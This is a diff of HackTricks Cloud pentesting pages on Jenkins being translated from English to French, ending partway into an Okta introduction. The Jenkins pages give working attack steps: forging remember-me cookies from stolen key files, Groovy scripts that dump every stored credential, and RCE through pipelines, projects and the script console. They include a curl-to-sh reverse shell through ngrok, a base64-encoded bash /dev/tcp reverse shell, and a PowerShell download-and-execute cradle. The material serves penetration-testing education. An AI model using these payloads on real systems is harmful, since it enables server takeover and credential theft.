**Les nœuds** sont les **machines** sur lesquelles les **agents de construction s'exécutent**. Jenkins surveille chaque nœud attaché pour l'espace disque, l'espace temporaire libre, l'échange libre, l'heure/ synchronisation de l'horloge et le temps de réponse. Un nœud est mis hors ligne si l'une de ces valeurs dépasse le seuil configuré.
|
||||
|
||||
**Agents** **manage** the **task execution** on behalf of the Jenkins controller by **using executors**. An agent can use any operating system that supports Java. Tools required for builds and tests are installed on the node where the agent runs; they can **be installed directly or in a container** (Docker or Kubernetes). Each **agent is effectively a process with its own PID** on the host machine.
|
||||
**Les agents** **gèrent** l'**exécution des tâches** au nom du contrôleur Jenkins en **utilisant des exécuteurs**. Un agent peut utiliser n'importe quel système d'exploitation qui prend en charge Java. Les outils nécessaires pour les constructions et les tests sont installés sur le nœud où l'agent s'exécute ; ils peuvent **être installés directement ou dans un conteneur** (Docker ou Kubernetes). Chaque **agent est effectivement un processus avec son propre PID** sur la machine hôte.
|
||||
|
||||
An **executor** is a **slot for execution of tasks**; effectively, it is **a thread in the agent**. The **number of executors** on a node defines the number of **concurrent tasks** that can be executed on that node at one time. In other words, this determines the **number of concurrent Pipeline `stages`** that can execute on that node at one time.
|
||||
Un **exécuteur** est un **emplacement pour l'exécution des tâches** ; en effet, c'est **un thread dans l'agent**. Le **nombre d'exécuteurs** sur un nœud définit le nombre de **tâches concurrentes** qui peuvent être exécutées sur ce nœud à un moment donné. En d'autres termes, cela détermine le **nombre de `stages` de Pipeline concurrentes** qui peuvent s'exécuter sur ce nœud à un moment donné.
|
||||
|
||||
## Jenkins Secrets
|
||||
## Secrets Jenkins
|
||||
|
||||
### Encryption of Secrets and Credentials
|
||||
### Chiffrement des secrets et des identifiants
|
||||
|
||||
Definition from the [docs](https://www.jenkins.io/doc/developer/security/secrets/#encryption-of-secrets-and-credentials): Jenkins uses **AES to encrypt and protect secrets**, credentials, and their respective encryption keys. These encryption keys are stored in `$JENKINS_HOME/secrets/` along with the master key used to protect said keys. This directory should be configured so that only the operating system user the Jenkins controller is running as has read and write access to this directory (i.e., a `chmod` value of `0700` or using appropriate file attributes). The **master key** (sometimes referred to as a "key encryption key" in cryptojargon) is **stored \_unencrypted**\_ on the Jenkins controller filesystem in **`$JENKINS_HOME/secrets/master.key`** which does not protect against attackers with direct access to that file. Most users and developers will use these encryption keys indirectly via either the [Secret](https://javadoc.jenkins.io/byShortName/Secret) API for encrypting generic secret data or through the credentials API. For the cryptocurious, Jenkins uses AES in cipher block chaining (CBC) mode with PKCS#5 padding and random IVs to encrypt instances of [CryptoConfidentialKey](https://javadoc.jenkins.io/byShortName/CryptoConfidentialKey) which are stored in `$JENKINS_HOME/secrets/` with a filename corresponding to their `CryptoConfidentialKey` id. Common key ids include:
|
||||
Définition des [docs](https://www.jenkins.io/doc/developer/security/secrets/#encryption-of-secrets-and-credentials) : Jenkins utilise **AES pour chiffrer et protéger les secrets**, les identifiants et leurs clés de chiffrement respectives. Ces clés de chiffrement sont stockées dans `$JENKINS_HOME/secrets/` avec la clé maître utilisée pour protéger ces clés. Ce répertoire doit être configuré de sorte que seul l'utilisateur du système d'exploitation sous lequel le contrôleur Jenkins s'exécute ait un accès en lecture et en écriture à ce répertoire (c'est-à-dire, une valeur `chmod` de `0700` ou en utilisant des attributs de fichier appropriés). La **clé maître** (parfois appelée "clé de chiffrement" dans le jargon cryptographique) est **stockée \_non chiffrée\_** sur le système de fichiers du contrôleur Jenkins dans **`$JENKINS_HOME/secrets/master.key`** ce qui ne protège pas contre les attaquants ayant un accès direct à ce fichier. La plupart des utilisateurs et des développeurs utiliseront ces clés de chiffrement indirectement via soit l'API [Secret](https://javadoc.jenkins.io/byShortName/Secret) pour chiffrer des données secrètes génériques ou via l'API des identifiants. Pour les curieux de cryptographie, Jenkins utilise AES en mode de chaînage de blocs (CBC) avec un remplissage PKCS#5 et des IV aléatoires pour chiffrer des instances de [CryptoConfidentialKey](https://javadoc.jenkins.io/byShortName/CryptoConfidentialKey) qui sont stockées dans `$JENKINS_HOME/secrets/` avec un nom de fichier correspondant à leur id `CryptoConfidentialKey`. Les ids de clé courants incluent :
|
||||
|
||||
- `hudson.util.Secret`: used for generic secrets;
|
||||
- `com.cloudbees.plugins.credentials.SecretBytes.KEY`: used for some credentials types;
|
||||
- `jenkins.model.Jenkins.crumbSalt`: used by the [CSRF protection mechanism](https://www.jenkins.io/doc/book/managing/security/#cross-site-request-forgery); and
|
||||
- `hudson.util.Secret` : utilisé pour des secrets génériques ;
|
||||
- `com.cloudbees.plugins.credentials.SecretBytes.KEY` : utilisé pour certains types d'identifiants ;
|
||||
- `jenkins.model.Jenkins.crumbSalt` : utilisé par le [mécanisme de protection CSRF](https://www.jenkins.io/doc/book/managing/security/#cross-site-request-forgery) ; et
|
||||
|
||||
### Credentials Access
|
||||
### Accès aux identifiants
|
||||
|
||||
Credentials can be **scoped to global providers** (`/credentials/`) that can be accessed by any project configured, or can be scoped to **specific projects** (`/job/<project-name>/configure`) and therefore only accessible from the specific project.
|
||||
Les identifiants peuvent être **étendus aux fournisseurs globaux** (`/credentials/`) qui peuvent être accessibles par tout projet configuré, ou peuvent être étendus à **des projets spécifiques** (`/job/<project-name>/configure`) et donc uniquement accessibles depuis le projet spécifique.
|
||||
|
||||
According to [**the docs**](https://www.jenkins.io/blog/2019/02/21/credentials-masking/): Credentials that are in scope are made available to the pipeline without limitation. To **prevent accidental exposure in the build log**, credentials are **masked** from regular output, so an invocation of `env` (Linux) or `set` (Windows), or programs printing their environment or parameters would **not reveal them in the build log** to users who would not otherwise have access to the credentials.
|
||||
Selon [**les docs**](https://www.jenkins.io/blog/2019/02/21/credentials-masking/) : Les identifiants qui sont dans le champ d'application sont mis à disposition du pipeline sans limitation. Pour **prévenir une exposition accidentelle dans le journal de construction**, les identifiants sont **masqués** de la sortie régulière, donc une invocation de `env` (Linux) ou `set` (Windows), ou des programmes imprimant leur environnement ou leurs paramètres ne **révèleraient pas ces identifiants dans le journal de construction** aux utilisateurs qui n'auraient pas autrement accès aux identifiants.
|
||||
|
||||
**That is why in order to exfiltrate the credentials an attacker needs to, for example, base64 them.**
|
||||
**C'est pourquoi, pour exfiltrer les identifiants, un attaquant doit, par exemple, les encoder en base64.**
|
||||
|
||||
## References
|
||||
## Références
|
||||
|
||||
- [https://www.jenkins.io/doc/book/security/managing-security/](https://www.jenkins.io/doc/book/security/managing-security/)
|
||||
- [https://www.jenkins.io/doc/book/managing/nodes/](https://www.jenkins.io/doc/book/managing/nodes/)
|
||||
@@ -92,6 +92,3 @@ According to [**the docs**](https://www.jenkins.io/blog/2019/02/21/credentials-m
|
||||
- [https://www.jenkins.io/doc/book/managing/nodes/](https://www.jenkins.io/doc/book/managing/nodes/)
|
||||
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
|
||||
|
||||
|
||||
|
||||
@@ -2,107 +2,104 @@
|
||||
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
|
||||
In this blog post is possible to find a great way to transform a Local File Inclusion vulnerability in Jenkins into RCE: [https://blog.securelayer7.net/spring-cloud-skipper-vulnerability/](https://blog.securelayer7.net/spring-cloud-skipper-vulnerability/)
|
||||
Dans cet article de blog, il est possible de trouver un excellent moyen de transformer une vulnérabilité d'inclusion de fichier local dans Jenkins en RCE : [https://blog.securelayer7.net/spring-cloud-skipper-vulnerability/](https://blog.securelayer7.net/spring-cloud-skipper-vulnerability/)
|
||||
|
||||
This is an AI created summary of the part of the post were the creaft of an arbitrary cookie is abused to get RCE abusing a local file read until I have time to create a summary on my own:
|
||||
Ceci est un résumé créé par IA de la partie de l'article où la création d'un cookie arbitraire est exploitée pour obtenir RCE en abusant d'une lecture de fichier local jusqu'à ce que j'ai le temps de créer un résumé moi-même :
|
||||
|
||||
### Attack Prerequisites
|
||||
### Prérequis à l'attaque
|
||||
|
||||
- **Feature Requirement:** "Remember me" must be enabled (default setting).
|
||||
- **Access Levels:** Attacker needs Overall/Read permissions.
|
||||
- **Secret Access:** Ability to read both binary and textual content from key files.
|
||||
- **Exigence de fonctionnalité :** "Se souvenir de moi" doit être activé (paramètre par défaut).
|
||||
- **Niveaux d'accès :** L'attaquant a besoin de permissions Globales/Lecture.
|
||||
- **Accès secret :** Capacité à lire à la fois le contenu binaire et textuel à partir de fichiers clés.
|
||||
|
||||
### Detailed Exploitation Process
|
||||
### Processus d'exploitation détaillé
|
||||
|
||||
#### Step 1: Data Collection
|
||||
#### Étape 1 : Collecte de données
|
||||
|
||||
**User Information Retrieval**
|
||||
**Récupération des informations utilisateur**
|
||||
|
||||
- Access user configuration and secrets from `$JENKINS_HOME/users/*.xml` for each user to gather:
|
||||
- **Username**
|
||||
- **User seed**
|
||||
- **Timestamp**
|
||||
- **Password hash**
|
||||
- Accéder à la configuration utilisateur et aux secrets depuis `$JENKINS_HOME/users/*.xml` pour chaque utilisateur afin de rassembler :
|
||||
- **Nom d'utilisateur**
|
||||
- **Graine utilisateur**
|
||||
- **Horodatage**
|
||||
- **Hash du mot de passe**
|
||||
|
||||
**Secret Key Extraction**
|
||||
**Extraction de la clé secrète**
|
||||
|
||||
- Extract cryptographic keys used for signing the cookie:
|
||||
- **Secret Key:** `$JENKINS_HOME/secret.key`
|
||||
- **Master Key:** `$JENKINS_HOME/secrets/master.key`
|
||||
- **MAC Key File:** `$JENKINS_HOME/secrets/org.springframework.security.web.authentication.rememberme.TokenBasedRememberMeServices.mac`
|
||||
- Extraire les clés cryptographiques utilisées pour signer le cookie :
|
||||
- **Clé secrète :** `$JENKINS_HOME/secret.key`
|
||||
- **Clé maître :** `$JENKINS_HOME/secrets/master.key`
|
||||
- **Fichier de clé MAC :** `$JENKINS_HOME/secrets/org.springframework.security.web.authentication.rememberme.TokenBasedRememberMeServices.mac`
|
||||
|
||||
#### Step 2: Cookie Forging
|
||||
#### Étape 2 : Forging de cookie
|
||||
|
||||
**Token Preparation**
|
||||
**Préparation du token**
|
||||
|
||||
- **Calculate Token Expiry Time:**
|
||||
- **Calculer le temps d'expiration du token :**
|
||||
|
||||
```javascript
|
||||
tokenExpiryTime = currentServerTimeInMillis() + 3600000 // Adds one hour to current time
|
||||
```
|
||||
```javascript
|
||||
tokenExpiryTime = currentServerTimeInMillis() + 3600000 // Ajoute une heure au temps actuel
|
||||
```
|
||||
|
||||
- **Concatenate Data for Token:**
|
||||
- **Concaténer les données pour le token :**
|
||||
|
||||
```javascript
|
||||
token = username + ":" + tokenExpiryTime + ":" + userSeed + ":" + secretKey
|
||||
```
|
||||
```javascript
|
||||
token = username + ":" + tokenExpiryTime + ":" + userSeed + ":" + secretKey
|
||||
```
|
||||
|
||||
**MAC Key Decryption**
|
||||
**Déchiffrement de la clé MAC**
|
||||
|
||||
- **Decrypt MAC Key File:**
|
||||
- **Déchiffrer le fichier de clé MAC :**
|
||||
|
||||
```javascript
|
||||
key = toAes128Key(masterKey) // Convert master key to AES128 key format
|
||||
decrypted = AES.decrypt(macFile, key) // Decrypt the .mac file
|
||||
if not decrypted.hasSuffix("::::MAGIC::::")
|
||||
return ERROR;
|
||||
macKey = decrypted.withoutSuffix("::::MAGIC::::")
|
||||
```
|
||||
```javascript
|
||||
key = toAes128Key(masterKey) // Convertir la clé maître en format de clé AES128
|
||||
decrypted = AES.decrypt(macFile, key) // Déchiffrer le fichier .mac
|
||||
if not decrypted.hasSuffix("::::MAGIC::::")
|
||||
return ERROR;
|
||||
macKey = decrypted.withoutSuffix("::::MAGIC::::")
|
||||
```
|
||||
|
||||
**Signature Computation**
|
||||
**Calcul de la signature**
|
||||
|
||||
- **Compute HMAC SHA256:**
|
||||
- **Calculer HMAC SHA256 :**
|
||||
|
||||
```javascript
|
||||
mac = HmacSHA256(token, macKey) // Compute HMAC using the token and MAC key
|
||||
tokenSignature = bytesToHexString(mac) // Convert the MAC to a hexadecimal string
|
||||
```
|
||||
```javascript
|
||||
mac = HmacSHA256(token, macKey) // Calculer HMAC en utilisant le token et la clé MAC
|
||||
tokenSignature = bytesToHexString(mac) // Convertir la MAC en chaîne hexadécimale
|
||||
```
|
||||
|
||||
**Cookie Encoding**
|
||||
**Encodage du cookie**
|
||||
|
||||
- **Generate Final Cookie:**
|
||||
- **Générer le cookie final :**
|
||||
|
||||
```javascript
|
||||
cookie = base64.encode(
|
||||
username + ":" + tokenExpiryTime + ":" + tokenSignature
|
||||
) // Base64 encode the cookie data
|
||||
```
|
||||
```javascript
|
||||
cookie = base64.encode(
|
||||
username + ":" + tokenExpiryTime + ":" + tokenSignature
|
||||
) // Encoder en base64 les données du cookie
|
||||
```
|
||||
|
||||
#### Step 3: Code Execution
|
||||
#### Étape 3 : Exécution de code
|
||||
|
||||
**Session Authentication**
|
||||
**Authentification de session**
|
||||
|
||||
- **Fetch CSRF and Session Tokens:**
|
||||
- Make a request to `/crumbIssuer/api/json` to obtain `Jenkins-Crumb`.
|
||||
- Capture `JSESSIONID` from the response, which will be used in conjunction with the remember-me cookie.
|
||||
- **Récupérer les tokens CSRF et de session :**
|
||||
- Faire une requête à `/crumbIssuer/api/json` pour obtenir `Jenkins-Crumb`.
|
||||
- Capturer `JSESSIONID` de la réponse, qui sera utilisé en conjonction avec le cookie "se souvenir de moi".
|
||||
|
||||
**Command Execution Request**
|
||||
**Requête d'exécution de commande**
|
||||
|
||||
- **Send a POST Request with Groovy Script:**
|
||||
- **Envoyer une requête POST avec un script Groovy :**
|
||||
|
||||
```bash
|
||||
curl -X POST "$JENKINS_URL/scriptText" \
|
||||
--cookie "remember-me=$REMEMBER_ME_COOKIE; JSESSIONID...=$JSESSIONID" \
|
||||
--header "Jenkins-Crumb: $CRUMB" \
|
||||
--header "Content-Type: application/x-www-form-urlencoded" \
|
||||
--data-urlencode "script=$SCRIPT"
|
||||
```
|
||||
```bash
|
||||
curl -X POST "$JENKINS_URL/scriptText" \
|
||||
--cookie "remember-me=$REMEMBER_ME_COOKIE; JSESSIONID...=$JSESSIONID" \
|
||||
--header "Jenkins-Crumb: $CRUMB" \
|
||||
--header "Content-Type: application/x-www-form-urlencoded" \
|
||||
--data-urlencode "script=$SCRIPT"
|
||||
```
|
||||
|
||||
- Groovy script can be used to execute system-level commands or other operations within the Jenkins environment.
|
||||
- Le script Groovy peut être utilisé pour exécuter des commandes au niveau système ou d'autres opérations dans l'environnement Jenkins.
|
||||
|
||||
The example curl command provided demonstrates how to make a request to Jenkins with the necessary headers and cookies to execute arbitrary code securely.
|
||||
L'exemple de commande curl fourni démontre comment faire une requête à Jenkins avec les en-têtes et cookies nécessaires pour exécuter du code arbitraire en toute sécurité.
|
||||
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
|
||||
|
||||
|
||||
|
||||
@@ -3,10 +3,9 @@
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
|
||||
> [!WARNING]
|
||||
> Note that these scripts will only list the secrets inside the `credentials.xml` file, but **build configuration files** might also have **more credentials**.
|
||||
|
||||
You can **dump all the secrets from the Groovy Script console** in `/script` running this code
|
||||
> Notez que ces scripts ne listeront que les secrets à l'intérieur du fichier `credentials.xml`, mais les **fichiers de configuration de build** pourraient également contenir **plus de credentials**.
|
||||
|
||||
Vous pouvez **extraire tous les secrets de la console de script Groovy** dans `/script` en exécutant ce code.
|
||||
```java
|
||||
// From https://www.dennisotugo.com/how-to-view-all-jenkins-secrets-credentials/
|
||||
import jenkins.model.*
|
||||
@@ -42,51 +41,45 @@ showRow("something else", it.id, '', '', '')
|
||||
|
||||
return
|
||||
```
|
||||
|
||||
#### or this one:
|
||||
|
||||
#### ou celui-ci :
|
||||
```java
|
||||
import java.nio.charset.StandardCharsets;
|
||||
def creds = com.cloudbees.plugins.credentials.CredentialsProvider.lookupCredentials(
|
||||
com.cloudbees.plugins.credentials.Credentials.class
|
||||
com.cloudbees.plugins.credentials.Credentials.class
|
||||
)
|
||||
|
||||
for (c in creds) {
|
||||
println(c.id)
|
||||
if (c.properties.description) {
|
||||
println(" description: " + c.description)
|
||||
}
|
||||
if (c.properties.username) {
|
||||
println(" username: " + c.username)
|
||||
}
|
||||
if (c.properties.password) {
|
||||
println(" password: " + c.password)
|
||||
}
|
||||
if (c.properties.passphrase) {
|
||||
println(" passphrase: " + c.passphrase)
|
||||
}
|
||||
if (c.properties.secret) {
|
||||
println(" secret: " + c.secret)
|
||||
}
|
||||
if (c.properties.secretBytes) {
|
||||
println(" secretBytes: ")
|
||||
println("\n" + new String(c.secretBytes.getPlainData(), StandardCharsets.UTF_8))
|
||||
println("")
|
||||
}
|
||||
if (c.properties.privateKeySource) {
|
||||
println(" privateKey: " + c.getPrivateKey())
|
||||
}
|
||||
if (c.properties.apiToken) {
|
||||
println(" apiToken: " + c.apiToken)
|
||||
}
|
||||
if (c.properties.token) {
|
||||
println(" token: " + c.token)
|
||||
}
|
||||
println("")
|
||||
println(c.id)
|
||||
if (c.properties.description) {
|
||||
println(" description: " + c.description)
|
||||
}
|
||||
if (c.properties.username) {
|
||||
println(" username: " + c.username)
|
||||
}
|
||||
if (c.properties.password) {
|
||||
println(" password: " + c.password)
|
||||
}
|
||||
if (c.properties.passphrase) {
|
||||
println(" passphrase: " + c.passphrase)
|
||||
}
|
||||
if (c.properties.secret) {
|
||||
println(" secret: " + c.secret)
|
||||
}
|
||||
if (c.properties.secretBytes) {
|
||||
println(" secretBytes: ")
|
||||
println("\n" + new String(c.secretBytes.getPlainData(), StandardCharsets.UTF_8))
|
||||
println("")
|
||||
}
|
||||
if (c.properties.privateKeySource) {
|
||||
println(" privateKey: " + c.getPrivateKey())
|
||||
}
|
||||
if (c.properties.apiToken) {
|
||||
println(" apiToken: " + c.apiToken)
|
||||
}
|
||||
if (c.properties.token) {
|
||||
println(" token: " + c.token)
|
||||
}
|
||||
println("")
|
||||
}
|
||||
```
|
||||
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
|
||||
|
||||
|
||||
|
||||
@@ -1,42 +1,37 @@
|
||||
# Jenkins RCE Creating/Modifying Pipeline
|
||||
# Jenkins RCE Création/Modification de Pipeline
|
||||
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
|
||||
## Creating a new Pipeline
|
||||
## Création d'un nouveau Pipeline
|
||||
|
||||
In "New Item" (accessible in `/view/all/newJob`) select **Pipeline:**
|
||||
Dans "Nouvel élément" (accessible à `/view/all/newJob`), sélectionnez **Pipeline :**
|
||||
|
||||
.png>)
|
||||
|
||||
In the **Pipeline section** write the **reverse shell**:
|
||||
Dans la **section Pipeline**, écrivez le **reverse shell** :
|
||||
|
||||
.png>)
|
||||
|
||||
```groovy
|
||||
pipeline {
|
||||
agent any
|
||||
agent any
|
||||
|
||||
stages {
|
||||
stage('Hello') {
|
||||
steps {
|
||||
sh '''
|
||||
curl https://reverse-shell.sh/0.tcp.ngrok.io:16287 | sh
|
||||
'''
|
||||
}
|
||||
}
|
||||
}
|
||||
stages {
|
||||
stage('Hello') {
|
||||
steps {
|
||||
sh '''
|
||||
curl https://reverse-shell.sh/0.tcp.ngrok.io:16287 | sh
|
||||
'''
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
```
|
||||
|
||||
Finally click on **Save**, and **Build Now** and the pipeline will be executed:
|
||||
Enfin, cliquez sur **Save**, puis sur **Build Now** et le pipeline sera exécuté :
|
||||
|
||||
.png>)
|
||||
|
||||
## Modifying a Pipeline
|
||||
## Modifier un Pipeline
|
||||
|
||||
If you can access the configuration file of some pipeline configured you could just **modify it appending your reverse shell** and then execute it or wait until it gets executed.
|
||||
Si vous pouvez accéder au fichier de configuration d'un pipeline configuré, vous pouvez simplement **le modifier en ajoutant votre reverse shell** puis l'exécuter ou attendre qu'il soit exécuté.
|
||||
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
|
||||
|
||||
|
||||
|
||||
@@ -1,39 +1,36 @@
|
||||
# Jenkins RCE Creating/Modifying Project
|
||||
# Jenkins RCE Création/Modification de Projet
|
||||
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
|
||||
## Creating a Project
|
||||
## Création d'un Projet
|
||||
|
||||
This method is very noisy because you have to create a hole new project (obviously this will only work if you user is allowed to create a new project).
|
||||
Cette méthode est très bruyante car vous devez créer un tout nouveau projet (évidemment, cela ne fonctionnera que si l'utilisateur est autorisé à créer un nouveau projet).
|
||||
|
||||
1. **Create a new project** (Freestyle project) clicking "New Item" or in `/view/all/newJob`
|
||||
2. Inside **Build** section set **Execute shell** and paste a powershell Empire launcher or a meterpreter powershell (can be obtained using _unicorn_). Start the payload with _PowerShell.exe_ instead using _powershell._
|
||||
3. Click **Build now**
|
||||
1. If **Build now** button doesn't appear, you can still go to **configure** --> **Build Triggers** --> `Build periodically` and set a cron of `* * * * *`
|
||||
2. Instead of using cron, you can use the config "**Trigger builds remotely**" where you just need to set a the api token name to trigger the job. Then go to your user profile and **generate an API token** (call this API token as you called the api token to trigger the job). Finally, trigger the job with: **`curl <username>:<api_token>@<jenkins_url>/job/<job_name>/build?token=<api_token_name>`**
|
||||
1. **Créer un nouveau projet** (projet Freestyle) en cliquant sur "Nouvel élément" ou dans `/view/all/newJob`
|
||||
2. Dans la section **Build**, définissez **Exécuter shell** et collez un lanceur PowerShell Empire ou un PowerShell Meterpreter (peut être obtenu en utilisant _unicorn_). Démarrez le payload avec _PowerShell.exe_ au lieu d'utiliser _powershell._
|
||||
3. Cliquez sur **Build now**
|
||||
1. Si le bouton **Build now** n'apparaît pas, vous pouvez toujours aller à **configure** --> **Build Triggers** --> `Build periodically` et définir un cron de `* * * * *`
|
||||
2. Au lieu d'utiliser cron, vous pouvez utiliser la configuration "**Trigger builds remotely**" où vous devez simplement définir le nom du token API pour déclencher le job. Ensuite, allez dans votre profil utilisateur et **générez un token API** (appelez ce token API comme vous avez appelé le token API pour déclencher le job). Enfin, déclenchez le job avec : **`curl <username>:<api_token>@<jenkins_url>/job/<job_name>/build?token=<api_token_name>`**
|
||||
|
||||
.png>)
|
||||
|
||||
## Modifying a Project
|
||||
## Modification d'un Projet
|
||||
|
||||
Go to the projects and check **if you can configure any** of them (look for the "Configure button"):
|
||||
Allez dans les projets et vérifiez **si vous pouvez configurer l'un d'eux** (cherchez le "bouton Configurer") :
|
||||
|
||||
.png>)
|
||||
|
||||
If you **cannot** see any **configuration** **button** then you **cannot** **configure** it probably (but check all projects as you might be able to configure some of them and not others).
|
||||
Si vous **ne pouvez pas** voir de **bouton de configuration**, alors vous **ne pouvez probablement pas** **le configurer** (mais vérifiez tous les projets car vous pourriez être en mesure de configurer certains d'entre eux et pas d'autres).
|
||||
|
||||
Or **try to access to the path** `/job/<proj-name>/configure` or `/me/my-views/view/all/job/<proj-name>/configure` \_\_ in each project (example: `/job/Project0/configure` or `/me/my-views/view/all/job/Project0/configure`).
|
||||
Ou **essayez d'accéder au chemin** `/job/<proj-name>/configure` ou `/me/my-views/view/all/job/<proj-name>/configure` \_\_ dans chaque projet (exemple : `/job/Project0/configure` ou `/me/my-views/view/all/job/Project0/configure`).
|
||||
|
||||
## Execution
|
||||
## Exécution
|
||||
|
||||
If you are allowed to configure the project you can **make it execute commands when a build is successful**:
|
||||
Si vous êtes autorisé à configurer le projet, vous pouvez **le faire exécuter des commandes lorsque la construction est réussie** :
|
||||
|
||||
.png>)
|
||||
|
||||
Click on **Save** and **build** the project and your **command will be executed**.\
|
||||
If you are not executing a reverse shell but a simple command you can **see the output of the command inside the output of the build**.
|
||||
Cliquez sur **Sauvegarder** et **construisez** le projet et votre **commande sera exécutée**.\
|
||||
Si vous n'exécutez pas un shell inversé mais une simple commande, vous pouvez **voir la sortie de la commande dans la sortie de la construction**.
|
||||
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
|
||||
|
||||
|
||||
|
||||
@@ -1,27 +1,24 @@
|
||||
# Jenkins RCE with Groovy Script
|
||||
# Jenkins RCE avec un script Groovy
|
||||
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
|
||||
## Jenkins RCE with Groovy Script
|
||||
## Jenkins RCE avec un script Groovy
|
||||
|
||||
This is less noisy than creating a new project in Jenkins
|
||||
|
||||
1. Go to _path_jenkins/script_
|
||||
2. Inside the text box introduce the script
|
||||
C'est moins bruyant que de créer un nouveau projet dans Jenkins
|
||||
|
||||
1. Allez à _path_jenkins/script_
|
||||
2. Dans la zone de texte, introduisez le script
|
||||
```python
|
||||
def process = "PowerShell.exe <WHATEVER>".execute()
|
||||
println "Found text ${process.text}"
|
||||
```
|
||||
Vous pouvez exécuter une commande en utilisant : `cmd.exe /c dir`
|
||||
|
||||
You could execute a command using: `cmd.exe /c dir`
|
||||
Dans **linux**, vous pouvez faire : **`"ls /".execute().text`**
|
||||
|
||||
In **linux** you can do: **`"ls /".execute().text`**
|
||||
|
||||
If you need to use _quotes_ and _single quotes_ inside the text. You can use _"""PAYLOAD"""_ (triple double quotes) to execute the payload.
|
||||
|
||||
**Another useful groovy script** is (replace \[INSERT COMMAND]):
|
||||
Si vous devez utiliser _des guillemets_ et _des apostrophes_ à l'intérieur du texte. Vous pouvez utiliser _"""PAYLOAD"""_ (triple guillemet) pour exécuter le payload.
|
||||
|
||||
**Un autre script groovy utile** est (remplacez \[INSERT COMMAND]) :
|
||||
```python
|
||||
def sout = new StringBuffer(), serr = new StringBuffer()
|
||||
def proc = '[INSERT COMMAND]'.execute()
|
||||
@@ -29,9 +26,7 @@ proc.consumeProcessOutput(sout, serr)
|
||||
proc.waitForOrKill(1000)
|
||||
println "out> $sout err> $serr"
|
||||
```
|
||||
|
||||
### Reverse shell in linux
|
||||
|
||||
### Shell inversée sous Linux
|
||||
```python
|
||||
def sout = new StringBuffer(), serr = new StringBuffer()
|
||||
def proc = 'bash -c {echo,YmFzaCAtYyAnYmFzaCAtaSA+JiAvZGV2L3RjcC8xMC4xMC4xNC4yMi80MzQzIDA+JjEnCg==}|{base64,-d}|{bash,-i}'.execute()
|
||||
@@ -39,28 +34,20 @@ proc.consumeProcessOutput(sout, serr)
|
||||
proc.waitForOrKill(1000)
|
||||
println "out> $sout err> $serr"
|
||||
```
|
||||
### Reverse shell sous Windows
|
||||
|
||||
### Reverse shell in windows
|
||||
|
||||
You can prepare a HTTP server with a PS reverse shell and use Jeking to download and execute it:
|
||||
|
||||
Vous pouvez préparer un serveur HTTP avec un PS reverse shell et utiliser Jeking pour le télécharger et l'exécuter :
|
||||
```python
|
||||
scriptblock="iex (New-Object Net.WebClient).DownloadString('http://192.168.252.1:8000/payload')"
|
||||
echo $scriptblock | iconv --to-code UTF-16LE | base64 -w 0
|
||||
cmd.exe /c PowerShell.exe -Exec ByPass -Nol -Enc <BASE64>
|
||||
```
|
||||
|
||||
### Script
|
||||
|
||||
You can automate this process with [**this script**](https://github.com/gquere/pwn_jenkins/blob/master/rce/jenkins_rce_admin_script.py).
|
||||
|
||||
You can use MSF to get a reverse shell:
|
||||
Vous pouvez automatiser ce processus avec [**ce script**](https://github.com/gquere/pwn_jenkins/blob/master/rce/jenkins_rce_admin_script.py).
|
||||
|
||||
Vous pouvez utiliser MSF pour obtenir un reverse shell :
|
||||
```
|
||||
msf> use exploit/multi/http/jenkins_script_console
|
||||
```
|
||||
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
|
||||
|
||||
|
||||
|
||||
@@ -2,116 +2,113 @@
|
||||
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
|
||||
## Basic Information
|
||||
## Informations de base
|
||||
|
||||
[Okta, Inc.](https://www.okta.com/) is recognized in the identity and access management sector for its cloud-based software solutions. These solutions are designed to streamline and secure user authentication across various modern applications. They cater not only to companies aiming to safeguard their sensitive data but also to developers interested in integrating identity controls into applications, web services, and devices.
|
||||
[Okta, Inc.](https://www.okta.com/) est reconnue dans le secteur de la gestion des identités et des accès pour ses solutions logicielles basées sur le cloud. Ces solutions sont conçues pour rationaliser et sécuriser l'authentification des utilisateurs à travers diverses applications modernes. Elles s'adressent non seulement aux entreprises cherchant à protéger leurs données sensibles, mais aussi aux développeurs intéressés par l'intégration de contrôles d'identité dans des applications, des services web et des appareils.
|
||||
|
||||
The flagship offering from Okta is the **Okta Identity Cloud**. This platform encompasses a suite of products, including but not limited to:
|
||||
L'offre phare d'Okta est le **Okta Identity Cloud**. Cette plateforme comprend une suite de produits, y compris mais sans s'y limiter :
|
||||
|
||||
- **Single Sign-On (SSO)**: Simplifies user access by allowing one set of login credentials across multiple applications.
|
||||
- **Multi-Factor Authentication (MFA)**: Enhances security by requiring multiple forms of verification.
|
||||
- **Lifecycle Management**: Automates user account creation, update, and deactivation processes.
|
||||
- **Universal Directory**: Enables centralized management of users, groups, and devices.
|
||||
- **API Access Management**: Secures and manages access to APIs.
|
||||
- **Single Sign-On (SSO)** : Simplifie l'accès des utilisateurs en permettant un ensemble de identifiants de connexion à travers plusieurs applications.
|
||||
- **Multi-Factor Authentication (MFA)** : Renforce la sécurité en exigeant plusieurs formes de vérification.
|
||||
- **Lifecycle Management** : Automatise la création, la mise à jour et la désactivation des comptes utilisateurs.
|
||||
- **Universal Directory** : Permet la gestion centralisée des utilisateurs, des groupes et des appareils.
|
||||
- **API Access Management** : Sécurise et gère l'accès aux API.
|
||||
|
||||
These services collectively aim to fortify data protection and streamline user access, enhancing both security and convenience. The versatility of Okta's solutions makes them a popular choice across various industries, beneficial to large enterprises, small companies, and individual developers alike. As of the last update in September 2021, Okta is acknowledged as a prominent entity in the Identity and Access Management (IAM) arena.
|
||||
